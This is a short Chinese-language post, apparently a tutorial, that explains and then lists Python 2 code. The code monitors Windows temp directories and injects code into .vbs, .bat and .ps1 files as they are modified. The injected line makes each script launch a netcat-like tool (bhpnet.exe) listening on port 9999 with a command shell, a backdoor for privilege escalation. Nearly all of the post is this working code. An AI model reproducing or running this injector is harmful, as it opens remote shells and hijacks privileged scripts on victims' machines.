代码思路:
首先定义三个文件类型。.vbs,.bat,.ps1。对这三个后缀名的文件进行监视,并根据后缀名不同,插入不同的代码。(意思都是运行那个command)。
windows是创建一个文件并写入数据的过程,其实就是先create,再modify,所以当检测到有后缀名为windows下可以执行的文件被修改时。就可以插入恶意代码。这里简单的用一个inject_code()函数来表示插入的过程。
同时为了区分一个临时文件是否已经被插入了恶意代码,可以使用一个标志位加以区分。
代码:
import win32file import tempfile import threading import os import win32con dir_minitor=["C:\\Windows\\Temp",tempfile.gettempdir()] FILE_CREATED =1 FILE_DELETED =2 FILE_MODIFIED = 3 FILE_RENAMED_FROM=4 FILE_RENAMED_TO = 5 file_type={} command="C:\\WINDOWS\\TEMP\\bhpnet.exe -l -p 9999 -c" file_type['.vbs']=['\r\nbhpmarker\r\n','\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n'%command] file_type['.bat']=['\r\nbhpmarker\r\n','\r\n%s\r\n'%command] file_type['.ps1']=['\r\nbhpmarker\r\n','Start-Process\"%s\"\r\n'%command] #print file_type.keys() def code_inject(full_filename,extension,contents): #print "run" if file_type[extension][0] in contents: #print "hahha" return full_content=file_type[extension][0] full_content+=file_type[extension][1] full_content+=contents fd=open(full_filename,"wb") fd.write(full_content) fd.close() print "Injected code" return def startMimitor(dir): FILE_LIST_DIRECTORY=0x0001 dir_director=win32file.CreateFile( dir, FILE_LIST_DIRECTORY, win32con.FILE_SHARE_READ|win32con.FILE_SHARE_WRITE|win32con.FILE_SHARE_DELETE, None, win32con.OPEN_EXISTING, win32con.FILE_FLAG_BACKUP_SEMANTICS, None ) while 1: try: results=win32file.ReadDirectoryChangesW( dir_director, 1024, True, win32con.FILE_NOTIFY_CHANGE_DIR_NAME|win32con.FILE_NOTIFY_CHANGE_FILE_NAME|win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES|win32con.FILE_NOTIFY_CHANGE_SIZE|win32con.FILE_NOTIFY_CHANGE_LAST_WRITE|win32con.FILE_NOTIFY_CHANGE_SECURITY, None, None ) for action,file_name in results: full_filename=os.path.join(dir,file_name) #print full_filename filename,extension = os.path.splitext(full_filename) # print filename # print extension if extension in file_type: flag=1 if action==FILE_CREATED: if flag: print "[*] Created %s"%full_filename elif action==FILE_DELETED: if flag: print "[-] Deleted %s"%full_filename elif action==FILE_MODIFIED: if flag: print "[*] Modified %s"%full_filename print "[vvv] Dumping contents ...." try: fd = open(full_filename,"rb") contents=fd.read() fd.close() print contents print "[^^^] Dump complete." except: print "[!!!] Failed" filename,extension=os.path.splitext(full_filename) print full_filename+extension+contents code_inject(full_filename,extension,contents) elif action==FILE_RENAMED_FROM: if flag: print "[>] Renamed from :%s"%full_filename elif action==FILE_RENAMED_TO: if flag: print "[<] Renamed to %s"%full_filename else: if flag: print "[???] Unknown:%s"%full_filename except: pass for path in dir_minitor: monitor_thread = threading.Thread(target=startMimitor,args=(path,)) print "Spawning monitoring thread for path:%s"%path # print file_type # if '.bat' in file_type.keys(): # print file_type monitor_thread.start()
运行结果: